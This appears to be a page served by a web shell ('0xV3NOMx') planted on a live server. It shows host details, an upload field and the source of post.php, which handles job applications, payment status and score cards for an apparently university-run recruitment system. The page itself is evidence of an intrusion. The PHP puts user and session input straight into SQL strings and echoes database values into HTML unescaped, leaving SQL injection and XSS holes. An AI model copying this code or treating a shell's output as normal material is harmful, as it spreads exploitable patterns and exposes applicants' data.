0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.137.219.221


Current Path : /var/www/html/kswu/orms/src/
Upload File :
Current File : /var/www/html/kswu/orms/src/post.php

<?php

function savepost($aobj_context)
{
	session_start();
	$userid = $_SESSION['userid'];
		 
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	$postappiled = trim($aobj_context->mobj_data["postappiled"]);
	$subjectapplied = trim($aobj_context->mobj_data["subjectapplied"]);
	$fvacancies = trim($aobj_context->mobj_data["fvacancies"]);
	
	if($fvacancies == 'Current Vacancies')
		$vac = '10';
	if($fvacancies == 'Reserved Vacancies(But not filled / Backlog)')
		$vac = '11';
	$appno = $userid.$vac.$postappiled.$subjectapplied;
	
	//$_SESSION['appno'] = $appno;
	$query = "INSERT INTO postdet(fuserid,fdegncode,fdegree,fappno,fvacancies) values('{$userid}','{$postappiled}','{$subjectapplied}','{$appno}','{$fvacancies}')";
	$results  = $aobj_context->mobj_db->Execute($query);
	
		$query = "insert into perdetl(fuserid) values('{$userid}')";
		$result  = $aobj_context->mobj_db->Execute($query);
	

	if($results)
	{
		$query = "select md.fdegndesc,mc.fdescpn,p.fappno,p.fvacancies,ifnull(p.fpaymentstatus,'Pending') as fpaymentstatus,fappstatus
			from postdet p inner join mascourse mc on p.fdegree = mc.fdegree
			inner join masdegn md on md.fdegncode = p.fdegncode
			where fuserid = '{$userid}'";
		$results  = $aobj_context->mobj_db->getAll($query);
		
		$i = 1;
		$table ='';

		foreach($results as $value)
		{
			
			if($value['fpaymentstatus']== 'Pending' || $value['fpaymentstatus']== 'failure')
			{
					$disabled = ""; 
					//$disabledtrue = ""; 
					$disabledtrue = "disabled"; 
			}
			if($value['fappstatus'] == 'T' || $value['fpaymentstatus'] == 'success')
			{
				$disabledtrue = "";
				//$disabled = "disabled";
				$disabled = "";				
			}	
			$table.="<tr style = 'height:25px;'>"; 										
			$table.="<td><input type = 'text' id='postid_{$i}' disabled class='form-control1' value = '{$i}'></td>";
			//$table.="<td><input type = 'text' id='postvac_{$i}' value = '{$value['fvacancies']}' disabled class='form-control1'></td>";
			$table.="<td><input type = 'text' id='postdeg_{$i}' value = '{$value['fdegndesc']}' disabled class='form-control1'></td>";
			$table.="<td><input type = 'text' id='postsub_{$i}' disabled value = '{$value['fdescpn']}' class='form-control1'></td>";
			$table.="<td><input type = 'text' id='postapplication_{$i}' disabled value ='{$value['fappno']}' class='form-control1'></td>";
		$table.="<td align='center'><button id='postapp_{$i}'  onclick='main_menu(\"{$i}\");' class='btn btn-primary';type='submit';' {$disabled}>Apply</button></td>";
			$table.="<td align='center'>{$value['fpaymentstatus']}</td>";
			$table.="<td align='center'><button id='postprint_{$i}' {$disabledtrue} onclick='Printapplicationhome(\"{$value['fappno']}\");' class='btn btn-primary';type='submit';'>Print Application</button></td>";
			$table.="</tr>";
			$i++;
		}
		
		$rst['table'] = $table;
		echo $aobj_context->mobj_output->ToJSONEnvelope($rst,0,"success");
			
	}else
	{
		$query = "select md.fdegndesc,mc.fdescpn,p.fappno,p.fvacancies,ifnull(p.fpaymentstatus,'Pending') as fpaymentstatus,fappstatus
			from postdet p inner join mascourse mc on p.fdegree = mc.fdegree
			inner join masdegn md on md.fdegncode = p.fdegncode
			where fuserid = '{$userid}'";
		$results  = $aobj_context->mobj_db->getAll($query);
		
		$i = 1;
		$table ='';
		
		
		
		foreach($results as $value)
		{
			
			if($value['fpaymentstatus']== 'Pending' || $value['fpaymentstatus']== 'failure')
			{
					$disabled = ""; 
					$disabledtrue = "";
					$disabledtrue = "disabled";					
			}
			if($value['fappstatus'] == 'T' || $value['fpaymentstatus'] == 'success')
			{
				$disabledtrue = "";
				//$disabled = "disabled";
				$disabled = "";				
			}	
			$table.="<tr style = 'height:25px;'>"; 										
			$table.="<td><input type = 'text' id='postid_{$i}' disabled class='form-control1' value = '{$i}'></td>";
			//$table.="<td><input type = 'text' id='postvac_{$i}' value = '{$value['fvacancies']}' disabled class='form-control1'></td>";
			$table.="<td><input type = 'text' id='postdeg_{$i}' value = '{$value['fdegndesc']}' disabled class='form-control1'></td>";
			$table.="<td><input type = 'text' id='postsub_{$i}' disabled value = '{$value['fdescpn']}' class='form-control1'></td>";
			$table.="<td><input type = 'text' id='postapplication_{$i}' disabled value ='{$value['fappno']}' class='form-control1'></td>";
			$table.="<td align='center'><button id='postapp_{$i}'  onclick='main_menu(\"{$i}\");' class='btn btn-primary';type='submit';' {$disabled} >Apply</button></td>";
			$table.="<td align='center'>{$value['fpaymentstatus']}</td>";
			$table.="<td align='center'><button id='postprint_{$i}' {$disabledtrue} onclick='Printapplicationhome(\"{$value['fappno']}\");' class='btn btn-primary';type='submit';'>Print Application</button></td>";
			$table.="</tr>";
			$i++;
		}		
		$rst['table'] = $table;
		echo $aobj_context->mobj_output->ToJSONEnvelope($rst,-1,"success");
	}		
	
}
	

function loadappomr($aobj_context)
{
	$userid = $_SESSION['userid'];
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	
	$query = "select md.fdegndesc,mc.fdescpn,p.fappno,p.fvacancies,ifnull(p.fpaymentstatus,'Pending') as fpaymentstatus,fappstatus
		from postdet p inner join mascourse mc on p.fdegree = mc.fdegree
		inner join masdegn md on md.fdegncode = p.fdegncode
		where fuserid = '{$userid}' and (fpaymentstatus = 'success' or ifnull(fappstatus,'') = 'T')";
	$results  = $aobj_context->mobj_db->getAll($query);
	
	$i = 1;
	$table ='
	<thead>
	<tr>
	<th style="width:50px;background-color:lightblue;font-family:italic;">Sl. No.</th>
	<th style="width:200px;background-color:lightblue;font-family:italic;">Post Applied for</th>
	<th style="width:250px;background-color:lightblue;font-family:italic;">Department </th>
	<th style="width:100px;background-color:lightblue;font-family:italic;">Application Number</th>
	<th style="width:50px;background-color:lightblue;font-family:italic;">Link</th>
	</tr></thead>';

	foreach($results as $value)
	{

		$table.="<tr style = 'height:25px;'>"; 										
		$table.="<td>$i</td>";
		$table.="<td>{$value['fdegndesc']}</td>";
		$table.="<td>{$value['fdescpn']}</td>";
		$table.="<td>{$value['fappno']}</td>";
		$table.="<td align='center'><a href = 'omrsheets/{$value['fappno']}.jpg' target='_blank'><button id='postapp_{$i}'  class='btn btn-primary';>Click Here To See OMR Sheet</button></a></td>";
		$table.="</tr>";
		$i++;
	}
									
	if($results)
	{	
		$rst['table'] = $table;
		echo $aobj_context->mobj_output->ToJSONEnvelope($rst,0,"success");
	}else
	{
		$rst['msg'] = '';
		echo $aobj_context->mobj_output->ToJSONEnvelope($rst,-1,"Failure");
	}		
}

function loadapplieddetails($aobj_context)
{
	$userid = $_SESSION['userid'];
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	
	$query = "select md.fdegndesc,mc.fdescpn,p.fappno,p.fvacancies,ifnull(p.fpaymentstatus,'Pending') as fpaymentstatus,fappstatus,ifnull(facademic,'') as facademic,ifnull(fresearch,'') as fresearch,
		ifnull(fassesment,'') as fassesment,ifnull(ftotal,'') as ftotal
		from postdet p inner join mascourse mc on p.fdegree = mc.fdegree
		inner join masdegn md on md.fdegncode = p.fdegncode
		where fuserid = '{$userid}' and (fpaymentstatus = 'success' or ifnull(fappstatus,'') = 'T')";
	$results  = $aobj_context->mobj_db->getAll($query);
	
	$i = 1;
	$table ='';

	foreach($results as $value)
	{
		
		if($value['fpaymentstatus']== 'Pending' || $value['fpaymentstatus']== 'failure')
		{
				$disabled = ""; 
				//$disabledtrue = "";
				$disabledtrue = "disabled";				
		}
		if($value['fappstatus'] == 'T' || $value['fpaymentstatus'] == 'success')
		{
			$disabledtrue = "";
			$disabled = "";
			//$disabled = "disabled";			
		}
		$disabledtrue = "disabled";
		$disabled = "disabled";
		$disabledtrue = "";

		$table.="<tr style = 'height:25px;'>"; 										
		$table.="<td><input type = 'text' id='postid_{$i}' disabled class='form-control1' value = '{$i}'></td>";
		//$table.="<td><input type = 'text' id='postvac_{$i}' value = '{$value['fvacancies']}' disabled class='form-control1'></td>";
		$table.="<td><input type = 'text' id='postdeg_{$i}' value = '{$value['fdegndesc']}' disabled class='form-control1'></td>";
		$table.="<td><input type = 'text' id='postsub_{$i}' disabled value = '{$value['fdescpn']}' class='form-control1'></td>";
		$table.="<td><input type = 'text' id='postapplication_{$i}' disabled value ='{$value['fappno']}' class='form-control1'></td>";
		$table.="<td align='center'><button id='postapp_{$i}'  onclick='main_menu(\"{$i}\");' class='btn btn-primary';type='submit';' {$disabled}>Apply</button></td>";
		$table.="<td align='center'>{$value['fpaymentstatus']}</td>";
		$table.="<td align='center'><button id='postprint_{$i}' {$disabledtrue} onclick='Printapplicationhome(\"{$value['fappno']}\");' class='btn btn-primary';type='submit';'>Print Application</button></td>";
		$table.="<td align='center'><a href = 'omrsheets/{$value['fappno']}.jpg' target='_blank'><button id='postapp_{$i}'  class='btn btn-primary';>Click Here To See OMR Sheet</button></a></td>";

		$table.="<td align='center'><button id='postapp_{$i}'  onclick='showresults(\"{$value['facademic']}\",\"{$value['fresearch']}\",\"{$value['fassesment']}\",\"{$value['ftotal']}\");' class='btn btn-primary'; data-toggle='modal' data-target='#myModal'>Score Card Link</button></td>";

		$table.="</tr>";
		$i++;
	}
									
	
	if($results)
	{	
		$rst['table'] = $table;
		echo $aobj_context->mobj_output->ToJSONEnvelope($rst,0,"success");
	}else
	{
		$rst['msg'] = '';
		echo $aobj_context->mobj_output->ToJSONEnvelope($rst,-1,"Failure");
	}		
}

function logoutsession($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	session_start();		
	session_unset($_SESSION['username']); 
	session_unset($_SESSION['userid']); 
	$data='logged out successfully';
	echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"Success");
}

function isloggedinvalidate($aobj_context)
{
	session_start();
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	if(isset($_SESSION['username']) && isset($_SESSION['userid']))
	{	
		$html['data']=1;
	}	
	else 
	{	
		$html['data'] = 0;
	}
	echo $aobj_context->mobj_output->ToJSONEnvelope($html,0,"success");		
	return;  
}

?>